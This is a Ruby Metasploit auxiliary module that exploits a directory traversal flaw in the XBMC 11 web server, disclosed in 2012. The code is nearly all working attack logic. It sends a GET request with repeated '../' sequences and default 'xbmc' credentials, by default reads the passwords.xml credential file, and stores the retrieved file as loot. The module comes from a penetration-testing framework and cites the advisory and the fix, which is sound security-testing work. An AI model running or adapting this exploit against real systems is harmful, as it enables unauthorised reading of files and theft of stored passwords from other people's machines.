##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "XBMC Web Server Directory Traversal",
      'Description'    => %q{
          This module exploits a directory traversal bug in XBMC 11, up until the
        2012-11-04 nightly build. The module can only be used to retrieve files.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
          'Lucas "acidgen" Lundgren IOActive',
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
        ],
      'References'     =>
        [
          ['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
          ['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
          ['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
        ],
      'DisclosureDate' => "Nov 4 2012"
    ))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
        OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'xbmc']),
        OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'xbmc']),
      ], self.class)
  end

  def run
    # No point to continue if no filename is specified
    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
      print_error("Please supply the name of the file you want to download")
      return
    end

    # Create request
    traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
    begin
      res = send_request_raw({
        'method' => 'GET',
        'uri'    => "/#{traversal}/#{datastore['FILEPATH']}",
        'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)
    rescue Rex::ConnectionRefused
      print_error("#{rhost}:#{rport} Could not connect.")
      return
    end

    # Show data if needed
    if res
      if res.code == 200
        vprint_line(res.to_s)
        fname = File.basename(datastore['FILEPATH'])

        path = store_loot(
          'xbmc.http',
          'application/octet-stream',
          datastore['RHOST'],
          res.body,
          fname
        )
        print_good("File saved in: #{path}")
      elsif res.code == 401
        print_error("#{rhost}:#{rport} Authentication failed")
      elsif res.code == 404
        print_error("#{rhost}:#{rport} File not found")
      end
    else
      print_error("HTTP Response failed")
    end
  end
end